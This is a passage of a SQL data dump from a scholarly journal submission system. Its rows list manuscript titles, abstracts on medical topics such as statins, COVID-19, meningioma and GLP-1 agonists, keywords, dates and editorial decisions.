BF3-directed lithiation of 4-DMAP with LDA as the lithiating reagent. The synthesized compounds are studied as antioxidants using in vitro DPPH scavenging method. The antioxidant efficiency of compounds are compared with a natural antioxidant citric acid. A significant rise in antioxidant efficiency has been found on substitution of selenium atom with tellurium atom in selenium derivative. Statistical analysis is done to establish a relation between antioxidant efficiency and concentration of compound.','Selenium; Tellurium; Antioxidants, Statistical analysis',3416,NULL,'2020-12-11',NULL,'Submitted',12,NULL,'2020-12-24',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6873,6822,45,0,'iphsj-20-6873','Possible Diabetogenic Effects of Statins Therapy and its Clinical Implications',NULL,15,0,NULL,'ABSTRACT\r\nStatins, hydroxyl-methyl-glutaryl-coenzyme-A reductase inhibitors, are efficacious and safe drugs used for the management of hyperlipidemia and preventing primary and secondary cardiovascular disorders. This reduction is directly proportional to the reduction of LDL-cholesterol. However, different population-based and Meta-analyses studies showed an incidence of new-onset diabetes mellitus (NODM). Older age, females, obesity, Asian descent, the potency and intensity of statin therapy, existing metabolic disorders, altered blood glucose levels, and increased weight are highly prone to diabetes. Although, the definitive cause of new-onset diabetes mellitus is not ruled out, plenty of mechanisms have been suggested including inhibiting HMG-CoA reductase, decreasing expression of GLUTs, modifying lipoprotein particle size, decreasing adiponectin and ubiquinone levels. These mechanisms result in either increasing insulin resistance or decreasing insulin secretion. In addition, under dysmetabolic situations, statins may have pro-inflammatory effects through the induction of certain inflammasomes. According to existing evidence, prescribing this class of drugs should not be restricted in patients with high cardiovascular risk due to their risk is lower than their benefits. However, close monitoring of commonly available lab tests is recommended.','Keywords: adverse effects, diabetes, diabetogenicity, statins.',3300,NULL,'2020-12-12',NULL,'Submitted',4,NULL,'2023-10-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6875,7181,975,0,'ipjbs-20-6875','Isolation of mesenchymal stem-like cells and its in-vivo tumor-genericity into meningioma',NULL,14,0,NULL,'Abstract \r\nMeningioma are the most common primary brain tumor. In spite of the available surgical options and adjuvant treatment, tumor recurrence is still a challenge. Advances in molecular cell biology and genomic techniques have demonstrated in human brain tumors the existence of subpopulations of cells that functionally behave as tumor stem cell. Our knowledge about meningioma molecular pathogeneiticity is still scarce. Knowledge of the cell of origin and mechanism of growth in meningioma offers new opportunity for more effective treatment of the disease.\r\nThis study aimed to isolate putative mesenchymal stem- like cells from meningioma specimen and to detect in-vivo its tumor-genericity into meningioma.\r\nMethods\r\nMeningioma specimens were processed through two lines, one for RNA extraction and the other for isolation of mesenchymal stem-like cells. CD44, CD73 and CD 105 were detected by PCR. Cell surface markers antigens CD34, CD13 and HLA DR were detected by flow cytometry in the isolated MScs. Cultured isolated MSCs were implanted in albino Wister rats’ brain to detect its tumor-genericity into meningioma. Histopathology and immunohistochemistry analysis was used for identification of the growing tumor.\r\nResults\r\nSpindle-shaped and adherent cells similar to MSCs were isolated and successfully cultured. The isolated cells which encoded the cells of origin, demonstrated the ability to differentiate into fibrous meningioma in albino Wister rats brain','Cancerous stem cell, CD44, CD73, CD105, NCNS',3460,NULL,'2020-12-13',NULL,'Submitted',2,NULL,'2021-02-22',NULL,1,1,'1','Publish it',0,NULL,NULL,NULL,0,0,0,NULL,0),(6880,7951,667,0,'iptb-20-6880','Sarcomatoid Anaplastic Carcinoma of the Thyroid: A Case Report',NULL,2,0,NULL,'sarcomatoid form.\r\n\r\nMaterial and method:  We report the case of a 45-year-old woman who presented with anaplastic thyroid carcinoma in its sarcomatoid form.\r\n\r\nClinical case: This is a 45-year-old patient admitted to the emergency department for the management of inspiratory dyspnea on a large mass in the anterior cervical region that has been developing for more than 3 months. A cervicothoracic CT scan was performed urgently showing an enormous thyroid mass of malignant appearance at the expense of the left thyroid lobe with extension to the other lobe, associated with thrombosis of the internal jugular vein and the superior vena cava, as well as a right pulmonary embolism. A surgical decision for tumor reduction with extemporaneous pathological examination associated with a tracheostomy was taken. The definitive anatomopathological examination revealed after immunohistochemical study anaplastic thyroid carcinoma in its sarcomatoid form\r\n\r\nConclusion: The therapeutic approach to anaplastic cancers has changed in a few decades. Surgical treatment of goiters has reduced the incidence of these cancers, access to preoperative cytological diagnosis sometimes allows early management, at the stage of emerging intrathyroidal anaplastic foci in differentiated cancers. Combined treatments give back a place to surgery.\r\nThyroid cancer, anaplastic, radiotherapy, surgery.','Thyroid cancer, anaplastic, radiotherapy, surgery.',4111,NULL,'2020-12-13',NULL,'Submitted',4,NULL,'2021-01-07',NULL,1,1,'0','revise',0,NULL,NULL,NULL,0,0,0,NULL,0),(6886,8151,45,0,'iphsj-20-6886','Aerobic exercise reduces perception of academic burnout among first year undergraduate students',NULL,14,0,'','This article aimed to determine the effects of exercise on alleviating symptoms of people with academic burnout, a condition that poses a threat to students and their studies. 1st year PT and OT students enrolled in a private University in Cebu City completed a pre- and post-exercise assessment using the assessment tool Oldenburg Burnout Inventory (OLBI) in burnout positive subjects who participated in the said exercise program. Results suggested that the created exercise program reduced the burnout levels prevalent among 1st year PT and OT students. Findings conclude that there is a positive correlation between exercise and alleviation of academic burnout symptoms. ','exercise, burnout, students, physical therapy',685,NULL,'2020-12-14',NULL,'Submitted',4,NULL,'2021-01-29',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6887,498,45,0,'iphsj-20-6887','ECHOCARDIOGRAPHIC EVALUATION OF NORMAL ADULT LEFT VENTRICULAR GEOMETRY IN A NIGERIAN POPULATION',NULL,14,0,NULL,'Background: Recent studies have shown that nearly 50% of patients who die suddenly at any age and of either sex in Nigeria are affected by cardiomyopathies. Differences have shown to exist in some echocardiographic measurements that were attributed to racial, ethnic and gender. There is paucity of literature on the normal adult left ventricular geometry in our locality. Objective: to determine echocardiographic baseline data of normal adult left ventricular (LV) geometry in Nnewi community setting of Anambra state, Nigeria. Methods: This was a prospective cross-sectional study, in which 1,192 apparently healthy adult subjects were selected randomdly. Participants below the age of 18 years or those with congenital or acquired cardiac abnormalities and history of long-term regular physical training were excluded from the study. Ethical approval and informed consent were obtained for study. The study was conducted between March 2017 and August 2019. Trans-thoracic echocardiography was performed with Vivid T8 GE dedicated echocardiography machine with probe frequency of 1.7 to 3.2 MHz with integrated electrocardiography (ECG) recording electrodes. The study determined normal dimensions of interventricular septum (IVS), left ventricular internal diameter (LVIDd/LVIDs), and left ventricular posterior wall (LVPW) in diastole and systole of the included subjects. Both descriptive statistics and inferential statistics (Pearson’s correlation and regression analysis and the t-test for two samples assuming equal variance analysis) were used statistical analysis. Statistical value less than 0.05 was considered significant. All measurements were indexed to body surface area (BSA) to obtain echocardiographic baseline normal reference values.  Results:  The mean + SD values of LV parameters were: LVIDd (44.80 ± 5.71 mm vs 42.75 ± 5.21 mm), LVIDs (33.54 ± 5.37 mm vs 30.38 ± 4.81 mm), and LVPWd (8.32 ± 1.26 mm vs 7.51 ± 1.22 mm). Females had more statistically significant interventricular septum in diastole (IVSd) (8.20 ± 1.38 mm vs 7.05 ± 1.27 mm) and interventricular septum in systole (IVSs) (9.08 ± 1.42 mm vs 8.99 ± 1.33 mm) (P < 0.05). A linear relationship existed between all echocardiographic measurements with age (r = 0.017), height (r =0.009), weight (r = 0.122), BMI (r = 0.120) and BSA (r = 0.109). Conclusion: This research established echocardiographic baseline normal adult left ventricular geometry in the study population.','Echocardiography, normal values, ventricular geometry, Nnewi Nigeria',4076,NULL,'2020-12-14',NULL,'Submitted',2,NULL,'2021-01-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6888,8152,975,0,'ipjbs-20-6888','Antimicrobial Activity of Iron Oxide Nanoparticles',NULL,14,0,'','Introduction\r\nThere is a high demand for new antimicrobial modalities.','Antimicrobial , activity, iron oxide, nanoparticles, antibiotics, hydrothermal, antibacterial',4089,NULL,'2020-12-14',NULL,'Submitted',4,NULL,'2021-01-06',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6905,8171,73,0,'ipjnn-20-6905','Factors Contributing to the Length of Stay in Patients Admitted to the Epilepsy Monitoring Unit',NULL,14,0,'','Electroencephalography with video monitoring (VEEG) is considered the gold standard for differentiating epileptic from non-epileptic events. The standardization of length of hospital stay (LOS) in the Epilepsy Monitoring Unit (EMU) setting is challenging due to the paroxysmal nature of seizures. This study evaluates the factors contributing to the LOS and days of VEEG recording with the EMU final diagnosis and plan. A retrospective study was conducted on inpatients admitted to the EMU, at a tertiary center from January to December 2016. All consecutive patients admitted to EMU during the study period were included. A total of 160 patients were enrolled. The mean age was 21.10 years (SD 13.33). Upon discharge, most of the patients were diagnosed with epileptic seizures, of whom 91 (56.9%) had focal seizures, and 30 (18.8%) had generalized epilepsy. Patient who stayed in the EMU>12 days required 6-10 days of VEEG recording to reach the diagnosis. Patients who had the surgical plan as a discharge diagnosis were significant to have a prolonged length of stay>12 days. Six to ten days of EEG recording were significant to diagnose focal seizures in 44 (60.3%). Patients were concluded to have a surgical plan (resective surgery), focal seizures and Attention Deficit Hyperactivity Disorder (ADHD) as a comorbidity are all significantly associated with a prolonged length of stay. Our findings suggest that factors affecting the length of hospital stay or period of EEG recording during the admission should be considered when planning EMU admissions.','Epilepsy monitoring unit, Length of stay, EMU, Prolonged hospitalization, EEG monitoring.',336,NULL,'2020-12-15',NULL,'Submitted',2,NULL,'2021-02-04',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6908,8175,45,0,'iphsj-20-6908','People with heart disease have to be more vigilant so as to avoid COVID-19.',NULL,9,1,'\'Special Issue\' COVID-19 ','Severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) causes coronavirus disease 2019 (COVID-19). COVID-19 has not only spread in Indonesia, it has even become a world health problem. World Health Organization (WHO) reported that cases od COVID-19 globally there have been 44,888,869 confirmed cases, including 1,178,475 deaths. Until Ocotber 29th 2020, Indonesia\'s population who confirmed for COVID-19 (confirmed caces) had reached 404.048 (+3.565 new cases), 60.569 active cases (15.0% of confirmed cases), 329.778 patients had recovered (81.6% of confirmed cases), and 13.701 died (3.4% of confirmed cases). Several case reports suggest that heart injury occurs in COVID-19 patients. Many cases in COVID-19 patients who died from complications of heart disease. Nevertheless, there remains hope that Covid-19 patients with complications of heart disease will be cured. This hope is proven by anti-inflammatory glucocorticoid and immunoglobulin therapy.','SARS-CoV-2, COVID-19, heart disease, anti-inflammatory glucocrticoid and immunoglobulin therapy.',685,NULL,'2020-12-16',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6909,8176,73,0,'ipjnn-20-6909','GLIA-Deep: Glioblastoma Image Analysis using Deep Learning Convolutional Neural Networks to Accurately Classify Gene Methylation and Predict Drug Effectiveness',NULL,6,0,'','Glioblastoma multiforme is a deadly brain cancer with a median patient survival time of 18-24 months, despite aggressive treatments. This limited success is due to a combination of aggressive tumor behavior, genetic heterogeneity of the disease within a single patient’s tumor, resistance to therapy, and lack of precision medicine treatments. A single specimen using a biopsy cannot be used for complete assessment of the tumor’s microenvironment, making personalized care limited and challenging.\r\nTemozolomide (TMZ) is a commercially approved alkylating agent used to treat glioblastoma, but around 50% of temozolomide-treated patients do not respond to it due to the over-expression of O6-methylguanine methyltransferase (MGMT). MGMT is a DNA repair enzyme that rescues tumor cells from alkylating agent-induced damage, leading to resistance to chemotherapy drugs. Epigenetic silencing of the MGMT gene by promoter methylation results in decreased MGMT protein expression, reduced DNA repair activity, increased sensitivity to TMZ, and longer survival time. Thus, it is paramount that clinicians determine the methylation status of patients to provide personalized chemotherapy drugs. However, current methods for determining this via invasive biopsies or manually curated features from brain MRI (Magnetic Resonance Imaging) scans are time- and cost- intensive, and have a very low accuracy.\r\nThe author presents a novel approach of using convolutional neural networks to predict methylation status and recommend patient-specific treatments via an analysis of brain MRI scans. The author developed an AI platform, GLIA-Deep, using a U-Net architecture and a ResNet-50 architecture trained on genomic data from TCGA (The Cancer Genome Atlas through the National Cancer Institute) and brain MRI scans from TCIA (The Cancer Imaging Archive). GLIA-Deep performs tumor region identification and determines MGMT methylation status with >90% accuracy and in less than 5 seconds, a real-time analysis that eliminates huge time and cost investments of invasive biopsies. Using computational modeling, the analysis further recommends microRNAs that modulate MGMT gene expression by translational repression to make glioma cells TMZ sensitive, thereby improving the survival of glioblastoma patients with unmethylated MGMT. GLIA-Deep is a completely integrated, end-to-end, cost-effective and time-efficient platform that advances precision medicine by recommending personalized therapies from an analysis of individual MRI scans to improving glioblastoma treatment options.\r\n','GLioblastoma, cancer, genes, MGMT, drug',3431,NULL,'2020-12-16',NULL,'Submitted',4,NULL,'2021-04-09',NULL,1,1,'0','Accepted with minor revision.',0,'','',NULL,0,0,0,NULL,0),(6910,8177,45,0,'iphsj-20-6910','INFLUENCE OF NORDIC WALKING AND RESPIRATORY MUSCLE TRAINING IN PATIENTS WITH PARKINSON: RANDOMIZED CLINICAL TRIAL',NULL,14,0,NULL,'Objective: To verify the impact of respiratory muscle training associated with Nordic walking training on lung function and quality of life in patients with Parkinson\'s disease (PD). Methods: 22 patients with PD were randomized into three groups: Respiratory Muscle Training (RMT; n = 6), using Powerbreathe® linear resistor; the group that performed aerobic activity through Nordic Walking (NW; n = 9) and the group associating the treatments: Nordic Walking plus Respiratory Muscle Training (RMT + NW; n = 7). The variables analyzed were respiratory function, assessed by spirometry and manovacuometry, and quality of life assessed by the Parkinson Disease Questionary scale (PDQ- 39). The intervention occurred over a period of 8 weeks, evaluated before and after treatment and subsequently the groups were compared to each other. Results: The analyzes showed significant intragroup results, with no statistical difference in the comparison between groups. In the respiratory function, there was a gain in expiratory muscle pressure (p = 0.008) and forced vital capacity (p = 0.011) for the RMT + NW group; gain of inspiratory muscle pressure (p = 0.004) for the RMT group and improvement in forced expiratory volume in one second (p = 0.039) and in the range of 25% -75% of forced expiratory flow (p = 0.013) for the NW group. In the results obtained by PDQ-39, there was a positive reduction (p <0.05) in the total score before and after the treatment of each group. Conclusion: Physical therapy through respiratory muscle training associated with Nordic walking generated positive results for variables related to lung function and quality of life.','Parkinson\'s disease; Breathing Exercises; Physiotherapy; Quality of life',4076,NULL,'2020-12-16',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6914,8182,73,0,'ipjnn-20-6914','Duchene Muscular Dystrophy (DMD)/Becker muscular dystrophy (BMD): Genotyping and concept of prenatal diagnosis of Bangladesh',NULL,14,0,'','Background: Duchenne and Becker muscular dystrophy (DMD/BMD) are X-linked recessive disorders caused by mutation in dystrophin gene. Patients with muscle weakness came to hospital for improvement their child. Physician advice to dystrophin gene analysis who have high Cpk (Creatine kinase) value and muscle weakness. \r\nMethods: We collected 61 DMD/BMD patient specimens for genetic analysis in which three females were relatives. Multiplex polymerase chain reaction was done for detecting deletion of dystrophin gene.\r\nResults: The overall mutation detection rate was 72.4% (21/29) in DMD/BMD patients, identifying deletions in 58.6% (17/29). Most of the deletions were confined to the central hot spot region between exons 44 and 55 (52.9%, 7/19). \r\nConclusions: In this study we found that the Exons 50, 51, 48 and 52 are most frequently deleted. The frequency of deletions in exon 50 (21.31%) was the most common deletion frequently associated with our Bangladeshi sample males. This study will help to set up an effective platform for prenatal diagnosis in Bangladesh.\r\n','Duchene muscular dystrophy (DMD), X-linked, Mutation, Prenatal diagnosis.',3431,NULL,'2020-12-16',NULL,'Submitted',4,NULL,'2022-08-25',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6915,8183,251,0,'ipacm-20-6915','Bacterial pleural effusion and antimicrobial resistance at the Children’s medical center, Iran between 2012 and 2019',NULL,14,0,'','Abstract\r\nBackground:\r\n Bacterial pleuritis is a rare disease with a high mortality rate in untreated patients, but effective antimicrobial treatment reduces its frequency. Drug resistance is rising to seriously high levels and is an emerging threat to public health systems.  We aimed at evaluating antimicrobial resistance in pediatrics with bacterial pleural effusion.\r\nMethods:\r\n This retrospective study was carried out at the Children’s medical center between 2012 and 2019. Samples obtained with thoracocentesis from 487 hospitalized pediatric patients with pleural effusion with different etiologies. In addition to the routine culture and disk diffusion method, to achieve quantification and standardization, in some cases, E-test MICs were performed. BACTECT culture system was used for some critical patients. All microbiology data were used in this study was reported to the WHONET as software for the microbiology laboratory database.\r\nResults: \r\nPositive bacterial cultures were found in 22(4.5%) cases. The most common isolated microorganisms were Streptococcus pneumonia 40/90 %( 9/22), Acinetobacter baumani 18/18 %( 4/22) and Staphylococcus aureus 13.63%. (3/22) . Other less prevalent organisms include Pseudomonas aeruginosa, Staphylococcus epidermis, Klebsiella pneumonia, and Serratia marcescens.  88% of S. pneumonia isolates were resistant to Erythromycin. A. baumannii expressed 100% resistance to Cefotaxime . S.aureus had the highest resistance rates to Penicillin (100%) . The rate of MRSA and MRSE were 33/3 %  and  50 % respectively.\r\nConclusions: \r\nOur findings revealed the antibacterial resistance rate is expanding. Surveillance on antimicrobial susceptibility patterns and hospital antibiotic formulary is essential to finding bacterial resistance and establishing guidelines for monitoring antibiotic therapy.','STAPHYLOCOCCUS AUREUS; MRSA; MRSE',780,NULL,'2020-12-16',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(6929,8200,85,0,'iphspr-20-6929','Exploring sustainability among community-based health interventions in Nunavut communities: a case series ',NULL,14,0,'','Background: Community organizations in Nunavut, Canada believe their programs and services are not valued or viewed as part of the continuum of health care services available in northern communities. These community-based health and wellness programs provide essential services that fill gaps within the health system, particularly in communities that are understaffed or under-resourced. Purpose: Explore the barriers and facilitators to the implementation and sustainability of community-based wellness programs in Nunavut. Method: Case series informed by one-on-one interviews with community health organization directors from across Nunavut. Findings: This case series identified the barriers of culturally grounded program implementation and sustainability within Nunavut communities: these include systemic funding blocks, gatekeepers, political interference/influence, disconnect between program and financial mechanisms at the territorial level, high turnover of management and admin, and lack of cultural awareness among senior program staff due to regular turnover within those positions. Facilitators include change champions, community strengths, training opportunities, and a growing evidence base. These challenges may arise from the fact that community-based wellness programs are not meaningfully included in the design of the health system. Conclusion: Policy changes are needed that will better support community health organizations in the territory to implement and sustain health programs.','',3282,NULL,'2020-12-18',NULL,'Submitted',2,NULL,'2021-07-01',NULL,1,1,'1','                     ',0,'','',NULL,0,0,0,NULL,0),(6933,8203,975,0,NULL,'Fever in covid 19 patients: An inadequate yardstick',NULL,3,0,'','Since the outbreak of Covid-19 in end of 2019 fever as been an important deciding factor in every screening facility to distinguish between the safe and the suspects of the pandemic. Whether it is accurate or even enough to use temperature alone as a screening method is discussed in this article with evidences. ','Covid-19, Temperature, fever, screening',4089,NULL,'2020-12-19',NULL,'Submitted',4,NULL,'2020-12-31',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6934,8204,45,0,'iphsj-20-6934','An in vivo Assessment of Diabetes Ameliorating Potentiality of Ethanolic Extract of Cynodon dactylon on Alloxan-Induced Diabetic Rat Model. ',NULL,14,0,'','Diabetes is a metabolic disorder. Some plant-derivative products are used to oppose this life-threatening complication. The plant is an assorted source of diverse healing compounds that can be used to ameliorate diabetes. Cynodon dactylon is a grass species traditionally used for several medicative objectives from ancient times. It has also been used to ease diabetes. We intended to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile. Diabetes was induced in rats via injecting alloxan (150mg/kg) through the intraperitoneal root. After assessing the blood glucose level, it has been observed that the Ethanolic extract of C. dactylon (750mg/kg) could significantly decrease the blood sugar level compared to the positive control group (p<0.05). Besides that, the extract’s hypoglycemic efficiency was comparable with metformin with null statistical significance (p>0.05). As a part of the safety profile analysis, we measured SGOT, SGPT, Creatinine, and the lipid profile levels of rats belonging to different groups. It was seen that both metformin and extract of C. dactylon improved the pathological conditions induced by diabetes. Furthermore, in healthy individual rats, both metformin and extract of C. dactylon did not significantly alter the sound pathological state. Hence, it might be assumed that the extract of C. dactylon could be practiced as an excellent alternative therapy to ameliorate diabetes. ','Cynodon dactylon Alloxan, Diabetes mellitus, Rat, Liver Functioning Test, Cretinine.',4610,NULL,'2020-12-19',NULL,'Submitted',2,NULL,'2021-01-19',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6944,8213,45,0,'iphsj-20-6944','THE DRUG OVERDOSE EPIDEMIC SEEN THROUGH DIFFERENT LENSES ',NULL,14,0,'','Background: The age-adjusted death rate from drug overdoses in the United States per 100,000 individuals rose from 6.8 in 2010 to 17.1 in 2018.  The most common explanation offered is the “deaths of despair” hypothesis.  We identify additional factors that have contributed to the rise in drug overdose deaths in cities and counties. \r\nMethods: We utilize a period fixed effects model with a multi-variate panel data set for 94 independent cities and counties in Virginia for the period 2008 through 2017. \r\nResults: The drug overdose mortality rate is: (a) an increasing function (prob. < .05) of the percentages of the population that smoke, are obese, are White, are incarcerated, are receiving SNAP payments, have earned a high diploma, and are employed in mining, as well as the average minutes workers must travel to their jobs and the number of prescriptions written; and, (b) a decreasing function (prob. < .05) of median household income, population density, and the degree of market concentration of pharmacies filling drug prescriptions.   \r\nWe provide estimates of the percent change in the drug overdose death rate one can expect in response to changes in each of these factors --- information highly useful to decision-makers. \r\nConclusions: Although the “deaths of despair” hypothesis has a degree of empirical validity, multidisciplinary analysis reveals that oft-neglected factors, including commuting time, local pharmacy market structures, prescription practices, and prevalence of SNAP payments, also have a major impact on drug overdose death rates.  The factors influencing drug overdose mortality are much more complex than the deaths of despair hypothesis suggests.  \r\nFunding: There is no external funding connected to this research.\r\nConflicts of Interest: None\r\n\r\n','Key Words: Public health; opioid addiction; drug overdoses; fatal overdoses',685,NULL,'2020-12-20',NULL,'Submitted',2,NULL,'2021-01-08',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6953,8223,91,0,'ijddr-20-6953','Health Benefits of the Fruit Essential Oil of Eucalyptus citriodora: Secondary Metabolites, Radical Scavenging, Antioxidant, Anti-inflammatory, Analgesic, Antimicrobial Potential',NULL,14,2,'','Abstract:  Eucalyptus essential oil is an important aroma-therapeutic agent in the treatment of diverse diseases and ailments in human and animals. The aim of this study was to determine the composition and health benefits of the fruit essential oil of E. citriodora. The essential oil was extracted by hydro-distillation using Clevenger-type apparatus and analyzed using GC-MS. The total phenolic content, antioxidant, anti-inflammatory, analgesic and antimicrobial activities were measured by standard biochemical protocols. The GC-MS result showed the presence of twenty-two (22) organic compounds making up 98.8% of the percentage composition of the essential oil. The principal components of the oil were: palmitic acid (29.00%), oleic acid (10.00%), E,E,E-α-springene (9.00%), 2-ethenyl-2,5-dimethyl-4-hexen-1-ol (8.00%), 2,4-dimethylheptane (6.00%) and hexahydrofarnesyl acetone (5.00%). The TPC value was 175.84±0.00 µgmg-1 GAE. The DPPH IC50 and AAI values of the essential oil were 3.00 µgml-1 and 13.30, respectively. The essential oil was capable of scavenging free radicals in a range of 67.77-71.95%, while the FRAP EC50 value was 2.00 µgml-1. The essential oil exhibited high anti-inflammatory effect with value of 43.80% and analgesic potential by inhibition of both neurogenic (41.32%) and inflammatory pains (11.11%). The zones of inhibition were between 0.80-18.00 mm. The fruit essential oil consists of useful phyto-therapeutic compounds that may be of great use in the food and pharmaceutical industries.','Eucalyptus citriodora, fruit essential oil, GC-MS, phytochemicals, pharmacological activity',4569,NULL,'2020-12-21',NULL,'Submitted',19,NULL,'2021-01-19',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(6959,8229,91,0,'ijddr-20-6959','A NOVEL BIOANALYTICAL RP-HPLC METHOD DEVELOPMENT AND VALIDATION FOR SIMULTANEOUS DETERMINATION OF  AMLODIPINE BESYLATE ON HUMAN PLASMA',NULL,15,0,'','The work carried out on Shimadzu LC-2009 SgimadzuHPLC system equipped with Thermo C18 (150ï‚´4.6 mm,5) column with mobile phase containing 10 mMpotassium dihydrogen phosphate buffer, pH 6.4: ACN: Water in the ratio 20:70:10 v/v/v (1ml/min.)and detectionwavelength 231 nm. The retention time of Amlodipine besylate was found to be 4.1 min. The developed bioanalytical method was found to be linear in concentration range of 24-48 ng/ml (R2= 0.9913). The precision study revealed that the percentage cumulative variation was within acceptable limit and accuracy study showed the value of mean percent recovery between 101.61-102.20 %. The Amlodipine besylate was stable in human plasma at different storage conditions. The validation parameters of the method met the acceptance criteria. Sufficient stability of both LQC and HQC was shown to allow for completion of sample analysis in clinical trials. From the results, we can conclude that developed bioanalytical method can be used for routine analysis of Amlodipine besylate. A simple, sensitive, Rapid and precise bioanalytical RP-HPLC method was developed for estimation of Amlodipine besylate in human plasma.','Bioanalytical method,Amlodipine besylate,Human plasma, RP-HPLC method, Validation.\r\n\r\n',4616,NULL,'2020-12-23',NULL,'Submitted',2,NULL,'2021-03-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(6960,6984,277,0,'ipadm-20-6960','AGONISTAS DEL RECEPTOR GLP-1: DESDE SU EFECTO FISIOLOGICO EN EL SISTEMA INCRETINA HASTA SU ROL EN ENFERMEDAD RENAL DIABETICA',NULL,15,0,NULL,'La Diabetes Mellitus es una enfermedad muy prevalente y con alto riesgo de complicaciones micro y macrovasculares. Hasta el 20 – 40% de los pacientes diabéticos desarrollan Enfermedad Renal Diabética en algún momento de su evolución. Recientemente, el tratamiento hipoglucemiante no solo se orienta al control glucémico, sino también a impactar en desenlaces cardiovasculares y renales. Dentro de estas moléculas, encontramos los análogos GLP-1, considerados un pilar en el tratamiento hipoglucemiante para los pacientes diabéticos con enfermedad cardiovascular. Objetivo: Describir los principales aspectos clínicos de los agonistas GLP-1, su mecanismo de acción y su rol fisiológico en los desenlaces cardiovasculares y renales de la diabetes mellitus. Metodología: Se realizó una búsqueda avanzada con los términos DeCS: “Nefropatía Diabética; Agonistas del receptor GLP-1, Péptidos Similares al Glucagón; Diabetes Mellitus” utilizando los motores de búsqueda Clinical Key, Embase, PubMed y Ovid, obteniendo un total de 413 resultados, entre artículos originales, reportes de casos, series de casos y revisiones de la literatura, se seleccionaron un total de 70 artículos utilizados para la elaboración de la revisión de la literatura. Conclusión: Las terapias basadas en análogos GLP-1 en la diabetes mellitus, es un pilar terapéutico en individuos con factores de riesgo para enfermedad renal diabética, debido a sus beneficios demostrados en la disminución de los desenlaces renales compuestos','Nefropatía Diabética; Agonistas del receptor GLP-1, Péptidos Similares al Glucagón; Diabetes Mellitus',2805,NULL,'2020-12-23',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(6964,8235,86,0,'ipaom-20-6964','Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19',NULL,12,0,'','Background : The outbreak of the 2019-nCoV infection began in December 2019 in Wuhan, Hubei province, and rapidly spread to many provinces in China as well as other countries. The coronavirus disease 19 (COVID-19) is a highly transmittable and pathogenic viral infection caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The characteristics of laboratory findings of coronavirus are of great significance for clinical diagnosis and treatment. This study aimed to evaluate the accuracy of biochemical parameters in COVID-19  and to compare them according to the severity of the disease.\r\nMethods: This diagnostic accuracy study was conducted in COVID-19 patients,\r\nadmitted to Avicenne military hospital  in Marrakesh (Morroco) from March 2020 to June 2020. Patients were divided into two groups based on severity of COVID-19 patients.\r\nResults: Through the analysis of laboratory examination information of patients with\r\nCOVID-19  (169 patients), we demonstrated that severe cases possessed higher levels of C-reactive protein (CRP), aspartate aminotransferase(AST), alanine aminotransferase (ALT), and Urea levels in serum, creatinine, hypoalbuminemia , hyponatremia, hyperbilirubinemia,  troponin, procalcitonin. \r\nConclusion: Some certain laboratory inspections could predict the progress of the\r\nCOVID-19 changes,  CRP, PCT, ALT, AST, LDH, D-dimer, which provide valuable signals for preventing the deterioration of the disease.\r\n\r\n','COVID 19, severe cases, SARS',3386,NULL,'2020-12-23',NULL,'Submitted',2,NULL,'2021-04-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6971,6984,277,0,'ipadm-20-6971','FACTORES ASOCIADOS AL TIEMPO DE ATENCIÓN DE PACIENTES CON DIAGNÓSTICO DE IAMCEST SOMETIDOS A TERAPIA DE REPERFUSIÓN EN DOS CLÍNICAS EN IBAGUÉ',NULL,14,0,NULL,'Introducción y objetivos: Las enfermedades cardiovasculares son la principal causa de muerte a nivel mundial y su manejo apropiado implica un diagnóstico precoz y reperfusión coronaria temprana. En el departamento del Tolima se registra la mayor tasa de defunciones por esta causa. El objetivo del estudio es analizar los factores asociados al tiempo de atención de pacientes con IAMCEST sometidos a terapia de reperfusión en dos IPS en Ibagué.\r\n\r\nMetodología: Estudio realizado en Ibagué de 2016 a 2017 de corte longitudinal, analítico, retrospectivo de tiempo al evento. De 2755 cateterismos fueron seleccionados 126 casos de IAMCEST y se analizaron condiciones sociodemográficas y clínicas. Para el análisis de los tiempos de atención se estudiaron 49 pacientes que ingresaron por urgencias. \r\n\r\nResultados: Edad promedio de 63 años y mayor porcentaje masculino. Las comorbilidades más frecuentes fueron HTA, dislipidemia y DM-2. Ningún paciente recibió atención médica prehospitalaria. Mediana de tiempo puerta – EKG 27 minutos, puerta – aguja 75 minutos y puerta – balón 26 horas. \r\n\r\nConclusiones: Es necesario realizar más estudios similares para conocer las estadísticas Latinoamericanas. El 80% de los pacientes consultó en ventana para trombolisis. El tiempo puerta – EKG menor a 10 minutos se logró en 35% de casos. 39% de pacientes recibieron fibrinólisis en menos de 60 minutos y 6,1% fue llevado a ICCP en menos de 90 minutos. Con la unidad de hemodinamia disponible se reportaron menores tiempos de atención (Valor p: 0,033).','Infarto de miocardio con elevación de ST, intervención coronaria percutánea, trombolisis, tiempo de 